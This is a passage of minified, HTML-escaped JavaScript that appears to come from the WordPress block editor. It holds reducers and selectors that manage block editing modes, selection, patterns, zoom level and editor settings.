e},lastBlockInserted:function(e={},t){switch(t.type){case&quot;INSERT_BLOCKS&quot;:case&quot;REPLACE_BLOCKS&quot;:if(!t.blocks.length)return e;const n=t.blocks.map((e=&gt;e.clientId)),o=t.meta?.source;return{clientIds:n,source:o};case&quot;RESET_BLOCKS&quot;:return{}}return e},temporarilyEditingAsBlocks:function(e=&quot;&quot;,t){return&quot;SET_TEMPORARILY_EDITING_AS_BLOCKS&quot;===t.type?t.temporarilyEditingAsBlocks:e},temporarilyEditingFocusModeRevert:function(e=&quot;&quot;,t){return&quot;SET_TEMPORARILY_EDITING_AS_BLOCKS&quot;===t.type?t.focusModeToRevert:e},blockVisibility:function(e={},t){return&quot;SET_BLOCK_VISIBILITY&quot;===t.type?{...e,...t.updates}:e},blockEditingModes:function(e=new Map,t){switch(t.type){case&quot;SET_BLOCK_EDITING_MODE&quot;:return e.get(t.clientId)===t.mode?e:new Map(e).set(t.clientId,t.mode);case&quot;UNSET_BLOCK_EDITING_MODE&quot;:{if(!e.has(t.clientId))return e;const n=new Map(e);return n.delete(t.clientId),n}case&quot;RESET_BLOCKS&quot;:return e.has(&quot;&quot;)?(new Map).set(&quot;&quot;,e.get(&quot;&quot;)):e}return e},styleOverrides:function(e=new Map,t){switch(t.type){case&quot;SET_STYLE_OVERRIDE&quot;:return new Map(e).set(t.id,t.style);case&quot;DELETE_STYLE_OVERRIDE&quot;:{const n=new Map(e);return n.delete(t.id),n}}return e},removalPromptData:function(e=!1,t){switch(t.type){case&quot;DISPLAY_BLOCK_REMOVAL_PROMPT&quot;:const{clientIds:e,selectPrevious:n,message:o}=t;return{clientIds:e,selectPrevious:n,message:o};case&quot;CLEAR_BLOCK_REMOVAL_PROMPT&quot;:return!1}return e},blockRemovalRules:function(e=!1,t){return&quot;SET_BLOCK_REMOVAL_RULES&quot;===t.type?t.rules:e},openedBlockSettingsMenu:function(e=null,t){return&quot;SET_OPENED_BLOCK_SETTINGS_MENU&quot;===t.type?t?.clientId??null:e},registeredInserterMediaCategories:function(e=[],t){return&quot;REGISTER_INSERTER_MEDIA_CATEGORY&quot;===t.type?[...e,t.category]:e},zoomLevel:function(e=100,t){switch(t.type){case&quot;SET_ZOOM_LEVEL&quot;:return t.zoom;case&quot;RESET_ZOOM_LEVEL&quot;:return 100}return e},hasBlockSpotlight:function(e,t){switch(t.type){case&quot;TOGGLE_BLOCK_SPOTLIGHT&quot;:const{clientId:n,hasBlockSpotlight:o}=t;return o?n:e===n?null:e;case&quot;SELECT_BLOCK&quot;:return t.clientId!==e?null:e;case&quot;SELECTION_CHANGE&quot;:return t.start?.clientId!==e||t.end?.clientId!==e?null:e;case&quot;CLEAR_SELECTED_BLOCK&quot;:return null}return e}});function oe(e,t){if(&quot;&quot;===t){const n=e.blocks.tree.get(t);if(!n)return;return{clientId:&quot;&quot;,...n}}if(!e.blocks.controlledInnerBlocks[t])return e.blocks.tree.get(t);const n=e.blocks.tree.get(`controlled||${t}`);return{...e.blocks.tree.get(t),innerBlocks:n?.innerBlocks}}function re(e,t,n){const o=oe(e,t);if(o&amp;&amp;(n(o),o?.innerBlocks?.length))for(const t of o?.innerBlocks)re(e,t.clientId,n)}function ie(e,t,n){if(!n.length)return;let o=e.blocks.parents.get(t);for(;void 0!==o;){if(n.includes(o))return o;o=e.blocks.parents.get(o)}}function se(e,t=&quot;&quot;){const n=e?.zoomLevel&lt;100||&quot;auto-scaled&quot;===e?.zoomLevel,o=new Map,r=e.settings?.[z],i=e.blocks.order.get(r),s=Array.from(e.blockEditingModes).some((([,e])=&gt;&quot;disabled&quot;===e)),l=[],a=[];Object.keys(e.blocks.controlledInnerBlocks).forEach((t=&gt;{const n=e.blocks.byClientId?.get(t);&quot;core/template-part&quot;===n?.name&amp;&amp;l.push(t),&quot;core/block&quot;===n?.name&amp;&amp;a.push(t)}));const c=[...Object.keys(e.blockListSettings).filter((t=&gt;&quot;contentOnly&quot;===e.blockListSettings[t]?.templateLock)),...window?.__experimentalContentOnlyPatternInsertion?Array.from(e.blocks.attributes.keys()).filter((t=&gt;e.blocks.attributes.get(t)?.metadata?.patternName)):[],...window?.__experimentalContentOnlyPatternInsertion?l:[]];return re(e,t,(t=&gt;{const{clientId:l,name:u}=t;if(!e.blockEditingModes.has(l)){if(s){let t,n=e.blocks.parents.get(l);for(;void 0!==n&amp;&amp;(e.blockEditingModes.has(n)&amp;&amp;(t=e.blockEditingModes.get(n)),!t);)n=e.blocks.parents.get(n);if(&quot;disabled&quot;===t)return void o.set(l,&quot;disabled&quot;)}if(n)return l===r||i?.length&amp;&amp;i.includes(l)?void o.set(l,&quot;contentOnly&quot;):void o.set(l,&quot;disabled&quot;);if(a.length){if(a.includes(l))return ie(e,l,a)?void o.set(l,&quot;disabled&quot;):void 0;const n=ie(e,l,a);if(n){if(ie(e,n,a))return void o.set(l,&quot;disabled&quot;);if(function(e){return e?.attributes?.metadata?.bindings&amp;&amp;Object.keys(e?.attributes?.metadata?.bindings).length}(t))return void o.set(l,&quot;contentOnly&quot;);o.set(l,&quot;disabled&quot;)}}if(c.length){!!ie(e,l,c)&amp;&amp;(G(u)?o.set(l,&quot;contentOnly&quot;):o.set(l,&quot;disabled&quot;))}}})),o}function le({prevState:e,nextState:t,addedBlocks:n,removedClientIds:o}){const r=e.derivedBlockEditingModes;let i;return o?.forEach((t=&gt;{re(e,t,(e=&gt;{r.has(e.clientId)&amp;&amp;(i||(i=new Map(r)),i.delete(e.clientId))}))})),n?.forEach((e=&gt;{const n=se(t,e.clientId);n.size&amp;&amp;(i=i?new Map([...i?.size?i:[],...n]):new Map([...r?.size?r:[],...n]))})),i}var ae=(0,m.pipe)((function(e){return(t,n)=&gt;{const o=e(t,n);if(&quot;SET_EDITOR_MODE&quot;!==n.type&amp;&amp;o===t)return t;switch(n.type){case&quot;REMOVE_BLOCKS&quot;:{const e=le({prevState:t,nextState:o,removedClientIds:n.clientIds});if(e)return{...o,derivedBlockEditingModes:e??t.derivedBlockEditingModes};break}case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{const e=le({prevState:t,nextState:o,addedBlocks:n.blocks});if(e)return{...o,derivedBlockEditingModes:e??t.derivedBlockEditingModes};break}case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:{const e=[],r=[];for(const i of n?.clientIds){const s=n.options?.uniqueByBlock?n.attributes[i]:n.attributes;if(!s)break;s.metadata?.patternName&amp;&amp;!t.blocks.attributes.get(i)?.metadata?.patternName?e.push(o.blocks.tree.get(i)):s.metadata&amp;&amp;!s.metadata?.patternName&amp;&amp;t.blocks.attributes.get(i)?.metadata?.patternName&amp;&amp;r.push(i)}if(!e?.length&amp;&amp;!r?.length)break;const i=le({prevState:t,nextState:o,addedBlocks:e,removedClientIds:r});if(i)return{...o,derivedBlockEditingModes:i??t.derivedBlockEditingModes};break}case&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;:{const e=[],r=[],i=&quot;string&quot;==typeof n.clientId?{[n.clientId]:n.settings}:n.clientId;for(const n in i){const i=&quot;contentOnly&quot;!==t.blockListSettings[n]?.templateLock&amp;&amp;&quot;contentOnly&quot;===o.blockListSettings[n]?.templateLock,s=&quot;contentOnly&quot;===t.blockListSettings[n]?.templateLock&amp;&amp;&quot;contentOnly&quot;!==o.blockListSettings[n]?.templateLock;i?e.push(o.blocks.tree.get(n)):s&amp;&amp;r.push(n)}if(!e.length&amp;&amp;!r.length)break;const s=le({prevState:t,nextState:o,addedBlocks:e,removedClientIds:r});if(s)return{...o,derivedBlockEditingModes:s??t.derivedBlockEditingModes};break}case&quot;SET_BLOCK_EDITING_MODE&quot;:case&quot;UNSET_BLOCK_EDITING_MODE&quot;:case&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;:{const e=oe(o,n.clientId);if(!e)break;const r=le({prevState:t,nextState:o,removedClientIds:[n.clientId],addedBlocks:[e]});if(r)return{...o,derivedBlockEditingModes:r??t.derivedBlockEditingModes};break}case&quot;REPLACE_BLOCKS&quot;:{const e=le({prevState:t,nextState:o,addedBlocks:n.blocks,removedClientIds:n.clientIds});if(e)return{...o,derivedBlockEditingModes:e??t.derivedBlockEditingModes};break}case&quot;REPLACE_INNER_BLOCKS&quot;:{const e=t.blocks.order.get(n.rootClientId),r=le({prevState:t,nextState:o,addedBlocks:n.blocks,removedClientIds:e});if(r)return{...o,derivedBlockEditingModes:r??t.derivedBlockEditingModes};break}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{const e=n.clientIds.map((e=&gt;o.blocks.byClientId.get(e))),r=le({prevState:t,nextState:o,addedBlocks:e,removedClientIds:n.clientIds});if(r)return{...o,derivedBlockEditingModes:r??t.derivedBlockEditingModes};break}case&quot;UPDATE_SETTINGS&quot;:if(t?.settings?.[z]!==o?.settings?.[z])return{...o,derivedBlockEditingModes:se(o)};break;case&quot;RESET_BLOCKS&quot;:case&quot;SET_EDITOR_MODE&quot;:case&quot;RESET_ZOOM_LEVEL&quot;:case&quot;SET_ZOOM_LEVEL&quot;:return{...o,derivedBlockEditingModes:se(o)}}return o.derivedBlockEditingModes=t?.derivedBlockEditingModes??new Map,o}}),(function(e){return(t,n)=&gt;{const o=e(t,n);return t?(o.automaticChangeStatus=t.automaticChangeStatus,&quot;MARK_AUTOMATIC_CHANGE&quot;===n.type?{...o,automaticChangeStatus:&quot;pending&quot;}:&quot;MARK_AUTOMATIC_CHANGE_FINAL&quot;===n.type&amp;&amp;&quot;pending&quot;===t.automaticChangeStatus?{...o,automaticChangeStatus:&quot;final&quot;}:o.blocks===t.blocks&amp;&amp;o.selection===t.selection||&quot;final&quot;!==o.automaticChangeStatus&amp;&amp;o.selection!==t.selection?o:{...o,automaticChangeStatus:void 0}):o}}))(ne);const ce=window.wp.primitives;var ue=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});const de=window.wp.richText,pe=window.wp.blockSerializationDefaultParser,he=&quot;core/block-editor&quot;;function ge(e,t,n){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};const o=t.pop();let r=e;for(const e of t){const t=r[e];r=r[e]=Array.isArray(t)?[...t]:{...t}}return r[o]=n,e}const me=(e,t,n)=&gt;{const o=Array.isArray(t)?t:t.split(&quot;.&quot;);let r=e;return o.forEach((e=&gt;{r=r?.[e]})),r??n};const fe=[&quot;color&quot;,&quot;border&quot;,&quot;dimensions&quot;,&quot;typography&quot;,&quot;spacing&quot;],be={&quot;color.palette&quot;:e=&gt;e.colors,&quot;color.gradients&quot;:e=&gt;e.gradients,&quot;color.custom&quot;:e=&gt;void 0===e.disableCustomColors?void 0:!e.disableCustomColors,&quot;color.customGradient&quot;:e=&gt;void 0===e.disableCustomGradients?void 0:!e.disableCustomGradients,&quot;typography.fontSizes&quot;:e=&gt;e.fontSizes,&quot;typography.customFontSize&quot;:e=&gt;void 0===e.disableCustomFontSizes?void 0:!e.disableCustomFontSizes,&quot;typography.lineHeight&quot;:e=&gt;e.enableCustomLineHeight,&quot;spacing.units&quot;:e=&gt;{if(void 0!==e.enableCustomUnits)return!0===e.enableCustomUnits?[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;,&quot;%&quot;]:e.enableCustomUnits},&quot;spacing.padding&quot;:e=&gt;e.enableCustomSpacing},ke={&quot;border.customColor&quot;:&quot;border.color&quot;,&quot;border.customStyle&quot;:&quot;border.style&quot;,&quot;border.customWidth&quot;:&quot;border.width&quot;,&quot;typography.customFontStyle&quot;:&quot;typography.fontStyle&quot;,&quot;typography.customFontWeight&quot;:&quot;typography.fontWeight&quot;,&quot;typography.customLetterSpacing&quot;:&quot;typography.letterSpacing&quot;,&quot;typography.customTextDecorations&quot;:&quot;typography.textDecoration&quot;,&quot;typography.customTextTransforms&quot;:&quot;typography.textTransform&quot;,&quot;border.customRadius&quot;:&quot;border.radius&quot;,&quot;spacing.customMargin&quot;:&quot;spacing.margin&quot;,&quot;spacing.customPadding&quot;:&quot;spacing.padding&quot;,&quot;typography.customLineHeight&quot;:&quot;typography.lineHeight&quot;},ve=e=&gt;ke[e]||e;function _e(e,t,...n){const o=Bt(e,t),r=[];if(t){let n=t;do{const t=Bt(e,n);(0,p.hasBlockSupport)(t,&quot;__experimentalSettings&quot;,!1)&amp;&amp;r.push(n)}while(n=e.blocks.parents.get(n))}return n.map((n=&gt;{if(fe.includes(n))return void console.warn(&quot;Top level useSetting paths are disabled. Please use a subpath to query the information needed.&quot;);let i=(0,f.applyFilters)(&quot;blockEditor.useSetting.before&quot;,void 0,n,t,o);if(void 0!==i)return i;const s=ve(n);for(const t of r){const n=jt(e,t);if(i=me(n.settings?.blocks?.[o],s)??me(n.settings,s),void 0!==i)break}const l=vo(e);if(void 0===i&amp;&amp;o&amp;&amp;(i=me(l.__experimentalFeatures?.blocks?.[o],s)),void 0===i&amp;&amp;(i=me(l.__experimentalFeatures,s)),void 0!==i)return p.__EXPERIMENTAL_PATHS_WITH_OVERRIDE[s]?i.custom??i.theme??i.default:i;const a=be[s]?.(l);return void 0!==a?a:&quot;typography.dropCap&quot;===s||void 0}))}const{isContentBlock:ye}=U(p.privateApis);function xe(e){return e.isBlockInterfaceHidden}function Se(e){return e?.lastBlockInserted?.clientIds}function we(e,t){return e.blocks.byClientId.get(t)}const Ce=(e,t)=&gt;{const n=t=&gt;&quot;disabled&quot;===Lo(e,t)&amp;&amp;yn(e,t).every(n);return yn(e,t).every(n)};function Be(e,t,n){const o=ye(t),r=Bt(e,n),i=ye(r);return Ye(e)===n||i&amp;&amp;o}function Ie(e,t){const n=yn(e,t),o=[];for(const t of n){const n=Ie(e,t);&quot;disabled&quot;!==Lo(e,t)?o.push({clientId:t,innerBlocks:n}):o.push(...n)}return o}const je=(0,g.createRegistrySelector)((()=&gt;(0,g.createSelector)(Ie,(e=&gt;[e.blocks.order,e.derivedBlockEditingModes,e.blockEditingModes])))),Ee=(0,g.createSelector)(((e,t,n=!1)=&gt;Xt(e,t,n).filter((t=&gt;&quot;disabled&quot;!==Lo(e,t)))),(e=&gt;[e.blocks.parents,e.blockEditingModes,e.settings.templateLock,e.blockListSettings]));function Te(e){return e.removalPromptData}function Me(e){return e.blockRemovalRules}function Pe(e){return e.openedBlockSettingsMenu}const Re=(0,g.createSelector)((e=&gt;{const t=Nt(e).reduce(((e,t,n)=&gt;(e[t]=n,e)),{});return[...e.styleOverrides].sort(((e,n)=&gt;{const[,{clientId:o}]=e,[,{clientId:r}]=n;return(t[o]??-1)-(t[r]??-1)}))}),(e=&gt;[e.blocks.order,e.styleOverrides]));function Ae(e){return e.registeredInserterMediaCategories}const Ne=(0,g.createSelector)((e=&gt;{const{settings:{inserterMediaCategories:t,allowedMimeTypes:n,enableOpenverseMediaCategory:o},registeredInserterMediaCategories:r}=e;if(!t&amp;&amp;!r.length||!n)return;const i=t?.map((({name:e})=&gt;e))||[];return[...t||[],...(r||[]).filter((({name:e})=&gt;!i.includes(e)))].filter((e=&gt;!(!o&amp;&amp;&quot;openverse&quot;===e.name)&amp;&amp;Object.values(n).some((t=&gt;t.startsWith(`${e.mediaType}/`)))))}),(e=&gt;[e.settings.inserterMediaCategories,e.settings.allowedMimeTypes,e.settings.enableOpenverseMediaCategory,e.registeredInserterMediaCategories])),Le=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n=null)=&gt;{const{getAllPatterns:o}=U(e(he)),r=o(),{allowedBlockTypes:i}=vo(t);return r.some((e=&gt;{const{inserter:o=!0}=e;if(!o)return!1;const r=ft(e);return kt(r,i)&amp;&amp;r.every((({name:e})=&gt;Gn(t,e,n)))}))}),((t,n)=&gt;[...vt(e)(t),..._t(e)(t,n)])))),De=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n)=&gt;{if(n?.startsWith(&quot;core/block/&quot;)){const o=parseInt(n.slice(11),10),r=U(e(he)).getReusableBlocks().find((({id:e})=&gt;e===o));return r?gt(r,t.settings.__experimentalUserPatternCategories):null}return[...t.settings.__experimentalBlockPatterns??[],...t.settings[D]?.(e)??[]].find((({name:e})=&gt;e===n))}),((t,n)=&gt;n?.startsWith(&quot;core/block/&quot;)?[U(e(he)).getReusableBlocks(),t.settings.__experimentalReusableBlocks]:[t.settings.__experimentalBlockPatterns,t.settings[D]?.(e)])))),Oe=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)((t=&gt;[...U(e(he)).getReusableBlocks().map((e=&gt;gt(e,t.settings.__experimentalUserPatternCategories))),...t.settings.__experimentalBlockPatterns??[],...t.settings[D]?.(e)??[]].filter(((e,t,n)=&gt;t===n.findIndex((t=&gt;e.name===t.name))))),vt(e)))),ze=[],Ve=(0,g.createRegistrySelector)((e=&gt;t=&gt;{const n=t.settings[O];return(n?n(e):t.settings.__experimentalReusableBlocks)??ze}));function Fe(e){return e.lastFocus}function He(e){return e.isDragging}function Ue(e){return e.expandedBlock}const Ge=(e,t)=&gt;{let n,o=t;for(;!n&amp;&amp;(o=e.blocks.parents.get(o));)&quot;contentOnly&quot;===Fn(e,o)&amp;&amp;(n=o);return n},$e=(e,t)=&gt;{let n,o=t;for(;!n&amp;&amp;(o=e.blocks.parents.get(o));)We(e,o)&amp;&amp;(n=o);return n};function We(e,t){const n=Bt(e,t);if(&quot;core/block&quot;===n||&quot;contentOnly&quot;===Fn(e,t))return!0;const o=jt(e,t),r=&quot;core/template-part&quot;===n;return!(!o?.metadata?.patternName&amp;&amp;!r||!window?.__experimentalContentOnlyPatternInsertion)}function Ke(e){return e.temporarilyEditingAsBlocks}function Ze(e){return e.temporarilyEditingFocusModeRevert}const qe=(0,g.createSelector)(((e,t)=&gt;t.reduce(((t,n)=&gt;(t[n]=e.blocks.attributes.get(n)?.style,t)),{})),((e,t)=&gt;[...t.map((t=&gt;e.blocks.attributes.get(t)?.style))]));function Ye(e){return e.settings?.[z]}function Xe(e){return&quot;auto-scaled&quot;===e.zoomLevel||e.zoomLevel&lt;100}function Qe(e){return e.zoomLevel}function Je(e,t,n=&quot;&quot;){const o=Array.isArray(t)?t:[t],r=t=&gt;o.every((n=&gt;Gn(e,n,t)));if(!n){if(r(n))return n;const t=Ye(e);return t&amp;&amp;r(t)?t:null}let i=n;for(;null!==i&amp;&amp;!r(i);){i=Yt(e,i)}return i}function et(e,t,n){const{allowedBlockTypes:o}=vo(e);if(!kt(ft(t),o))return null;return Je(e,ft(t).map((({blockName:e})=&gt;e)),n)}function tt(e){return e.insertionPoint}const nt=(e,t)=&gt;{const n=Bt(e,t);if(!(0,p.hasBlockSupport)(e,n,&quot;visibility&quot;,!0))return!1;const o=e.blocks.attributes.get(t);return!1===o?.metadata?.blockVisibility};function ot(e){return!!e.hasBlockSpotlight}const rt={user:&quot;user&quot;,theme:&quot;theme&quot;,directory:&quot;directory&quot;},it=&quot;fully&quot;,st=&quot;unsynced&quot;,lt={name:&quot;allPatterns&quot;,label:(0,T._x)(&quot;All&quot;,&quot;patterns&quot;)},at={name:&quot;myPatterns&quot;,label:(0,T.__)(&quot;My patterns&quot;)},ct={name:&quot;core/starter-content&quot;,label:(0,T.__)(&quot;Starter content&quot;)};function ut(e,t,n){const o=e.name.startsWith(&quot;core/block&quot;),r=&quot;core&quot;===e.source||e.source?.startsWith(&quot;pattern-directory&quot;);return!(t!==rt.theme||!o&amp;&amp;!r)||(!(t!==rt.directory||!o&amp;&amp;r)||(t===rt.user&amp;&amp;e.type!==rt.user||(n===it&amp;&amp;&quot;&quot;!==e.syncStatus||!(n!==st||&quot;unsynced&quot;===e.syncStatus||!o))))}const dt=Symbol(&quot;isFiltered&quot;),pt=new WeakMap,ht=new WeakMap;function gt(e,t=[]){return{name:`core/block/${e.id}`,id:e.id,type:rt.user,title:e.title?.raw,categories:e.wp_pattern_category?.map((e=&gt;{const n=t.find((({id:t})=&gt;t===e));return n?n.slug:e})),content:e.content?.raw,syncStatus:e.wp_pattern_sync_status}}function mt(e){let t=pt.get(e);return t||(t=function(e){const t=(0,p.parse)(e.content,{__unstableSkipMigrationLogs:!0});return 1===t.length&amp;&amp;(t[0].attributes={...t[0].attributes,metadata:{...t[0].attributes.metadata||{},categories:e.categories,patternName:e.name,name:t[0].attributes.metadata?.name||e.title}}),{...e,blocks:t}}(e),pt.set(e,t)),t}function ft(e){let t=ht.get(e);return t||(t=(0,pe.parse)(e.content),t=t.filter((e=&gt;null!==e.blockName)),ht.set(e,t)),t}const bt=(e,t,n=null)=&gt;&quot;boolean&quot;==typeof e?e:Array.isArray(e)?!(!e.includes(&quot;core/post-content&quot;)||null!==t)||e.includes(t):n,kt=(e,t)=&gt;{if(&quot;boolean&quot;==typeof t)return t;const n=[...e];for(;n.length&gt;0;){const e=n.shift();if(!bt(t,e.name||e.blockName,!0))return!1;e.innerBlocks?.forEach((e=&gt;{n.push(e)}))}return!0},vt=e=&gt;t=&gt;[t.settings.__experimentalBlockPatterns,t.settings.__experimentalUserPatternCategories,t.settings.__experimentalReusableBlocks,t.settings[D]?.(e),t.blockPatterns,U(e(he)).getReusableBlocks()],_t=()=&gt;(e,t)=&gt;[e.blockListSettings[t],e.blocks.byClientId.get(t),e.settings.allowedBlockTypes,e.settings.templateLock,Lo(e,t),Ye(e),We(e,t)];function yt(e,t,n=&quot;asc&quot;){return e.concat().sort(((e,t,n)=&gt;(o,r)=&gt;{let i,s;if(&quot;function&quot;==typeof e?(i=e(o),s=e(r)):(i=o[e],s=r[e]),i&gt;s)return&quot;asc&quot;===n?1:-1;if(s&gt;i)return&quot;asc&quot;===n?-1:1;const l=t.findIndex((e=&gt;e===o)),a=t.findIndex((e=&gt;e===r));return l&gt;a?1:a&gt;l?-1:0})(t,e,n))}const{isContentBlock:xt}=U(p.privateApis),St=[],wt=new Set,Ct={[dt]:!0};function Bt(e,t){const n=e.blocks.byClientId.get(t),o=&quot;core/social-link&quot;;if(&quot;web&quot;!==h.Platform.OS&amp;&amp;n?.name===o){const n=e.blocks.attributes.get(t),{service:r}=n??{};return r?`${o}-${r}`:o}return n?n.name:null}function It(e,t){const n=e.blocks.byClientId.get(t);return!!n&amp;&amp;n.isValid}function jt(e,t){return e.blocks.byClientId.get(t)?e.blocks.attributes.get(t):null}function Et(e,t){return e.blocks.byClientId.has(t)?e.blocks.tree.get(t):null}const Tt=(0,g.createSelector)(((e,t)=&gt;{const n=e.blocks.byClientId.get(t);return n?{...n,attributes:jt(e,t)}:null}),((e,t)=&gt;[e.blocks.byClientId.get(t),e.blocks.attributes.get(t)]));function Mt(e,t){const n=t&amp;&amp;jo(e,t)?&quot;controlled||&quot;+t:t||&quot;&quot;;return e.blocks.tree.get(n)?.innerBlocks||St}const Pt=(0,g.createSelector)(((e,t)=&gt;(I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetClientIdWithClientIdsTree&quot;,{since:&quot;6.3&quot;,version:&quot;6.5&quot;}),{clientId:t,innerBlocks:Rt(e,t)})),(e=&gt;[e.blocks.order])),Rt=(0,g.createSelector)(((e,t=&quot;&quot;)=&gt;(I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetClientIdsTree&quot;,{since:&quot;6.3&quot;,version:&quot;6.5&quot;}),yn(e,t).map((t=&gt;Pt(e,t))))),(e=&gt;[e.blocks.order])),At=(0,g.createSelector)(((e,t)=&gt;{t=Array.isArray(t)?[...t]:[t];const n=[];for(const o of t){const t=e.blocks.order.get(o);t&amp;&amp;n.push(...t)}let o=0;for(;o&lt;n.length;){const t=n[o],r=e.blocks.order.get(t);r&amp;&amp;n.splice(o+1,0,...r),o++}return n}),(e=&gt;[e.blocks.order])),Nt=e=&gt;At(e,&quot;&quot;),Lt=(0,g.createSelector)(((e,t)=&gt;{const n=Nt(e);if(!t)return n.length;let o=0;for(const r of n){e.blocks.byClientId.get(r).name===t&amp;&amp;o++}return o}),(e=&gt;[e.blocks.order,e.blocks.byClientId])),Dt=(0,g.createSelector)(((e,t)=&gt;{if(!t)return St;const n=Array.isArray(t)?t:[t],o=Nt(e).filter((t=&gt;{const o=e.blocks.byClientId.get(t);return n.includes(o.name)}));return o.length&gt;0?o:St}),(e=&gt;[e.blocks.order,e.blocks.byClientId]));function Ot(e,t){return I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__experimentalGetGlobalBlocksByName&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.data.select( &#039;core/block-editor&#039; ).getBlocksByName&quot;}),Dt(e,t)}const zt=(0,g.createSelector)(((e,t)=&gt;(Array.isArray(t)?t:[t]).map((t=&gt;Et(e,t)))),((e,t)=&gt;(Array.isArray(t)?t:[t]).map((t=&gt;e.blocks.tree.get(t))))),Vt=(0,g.createSelector)(((e,t)=&gt;zt(e,t).filter(Boolean).map((e=&gt;e.name))),((e,t)=&gt;zt(e,t)));function Ft(e,t){return yn(e,t).length}function Ht(e){return e.selection.selectionStart}function Ut(e){return e.selection.selectionEnd}function Gt(e){return e.selection.selectionStart.clientId}function $t(e){return e.selection.selectionEnd.clientId}function Wt(e){const t=ln(e).length;return t||(e.selection.selectionStart.clientId?1:0)}function Kt(e){const{selectionStart:t,selectionEnd:n}=e.selection;return!!t.clientId&amp;&amp;t.clientId===n.clientId}function Zt(e){const{selectionStart:t,selectionEnd:n}=e.selection,{clientId:o}=t;return o&amp;&amp;o===n.clientId?o:null}function qt(e){const t=Zt(e);return t?Et(e,t):null}function Yt(e,t){return e.blocks.parents.get(t)??null}const Xt=(0,g.createSelector)(((e,t,n=!1)=&gt;{const o=[];let r=t;for(;r=e.blocks.parents.get(r);)o.push(r);return o.length?n?o:o.reverse():St}),(e=&gt;[e.blocks.parents])),Qt=(0,g.createSelector)(((e,t,n,o=!1)=&gt;{const r=Xt(e,t,o),i=Array.isArray(n)?e=&gt;n.includes(e):e=&gt;n===e;return r.filter((t=&gt;i(Bt(e,t))))}),(e=&gt;[e.blocks.parents]));function Jt(e,t){let n,o=t;do{n=o,o=e.blocks.parents.get(o)}while(o);return n}function en(e,t){const n=Zt(e),o=[...Xt(e,t),t],r=[...Xt(e,n),n];let i;const s=Math.min(o.length,r.length);for(let e=0;e&lt;s&amp;&amp;o[e]===r[e];e++)i=o[e];return i}function tn(e,t,n=1){if(void 0===t&amp;&amp;(t=Zt(e)),void 0===t&amp;&amp;(t=n&lt;0?cn(e):un(e)),!t)return null;const o=Yt(e,t);if(null===o)return null;const{order:r}=e.blocks,i=r.get(o),s=i.indexOf(t)+1*n;return s&lt;0||s===i.length?null:i[s]}function nn(e,t){return tn(e,t,-1)}function on(e,t){return tn(e,t,1)}function rn(e){return e.initialPosition}const sn=(0,g.createSelector)((e=&gt;{const{selectionStart:t,selectionEnd:n}=e.selection;if(!t.clientId||!n.clientId)return St;if(t.clientId===n.clientId)return[t.clientId];const o=Yt(e,t.clientId);if(null===o)return St;const r=yn(e,o),i=r.indexOf(t.clientId),s=r.indexOf(n.clientId);return i&gt;s?r.slice(s,i+1):r.slice(i,s+1)}),(e=&gt;[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function ln(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?St:sn(e)}const an=(0,g.createSelector)((e=&gt;{const t=ln(e);return t.length?t.map((t=&gt;Et(e,t))):St}),(e=&gt;[...sn.getDependants(e),e.blocks.byClientId,e.blocks.order,e.blocks.attributes]));function cn(e){return ln(e)[0]||null}function un(e){const t=ln(e);return t[t.length-1]||null}function dn(e,t){return cn(e)===t}function pn(e,t){return-1!==ln(e).indexOf(t)}const hn=(0,g.createSelector)(((e,t)=&gt;{let n=t,o=!1;for(;n&amp;&amp;!o;)n=Yt(e,n),o=pn(e,n);return o}),(e=&gt;[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function gn(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:t.clientId||null}function mn(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:n.clientId||null}function fn(e){const t=Ht(e),n=Ut(e);return!t.attributeKey&amp;&amp;!n.attributeKey&amp;&amp;void 0===t.offset&amp;&amp;void 0===n.offset}function bn(e){const t=Ht(e),n=Ut(e);return!!t&amp;&amp;!!n&amp;&amp;t.clientId===n.clientId&amp;&amp;t.attributeKey===n.attributeKey&amp;&amp;t.offset===n.offset}function kn(e){return sn(e).some((t=&gt;{const n=Bt(e,t);return!(0,p.getBlockType)(n).merge}))}function vn(e,t){const n=Ht(e),o=Ut(e);if(n.clientId===o.clientId)return!1;if(!n.attributeKey||!o.attributeKey||void 0===n.offset||void 0===o.offset)return!1;const r=Yt(e,n.clientId);if(r!==Yt(e,o.clientId))return!1;const i=yn(e,r);let s,l;i.indexOf(n.clientId)&gt;i.indexOf(o.clientId)?(s=o,l=n):(s=n,l=o);const a=t?l.clientId:s.clientId,c=t?s.clientId:l.clientId,u=Bt(e,a);if(!(0,p.getBlockType)(u).merge)return!1;const 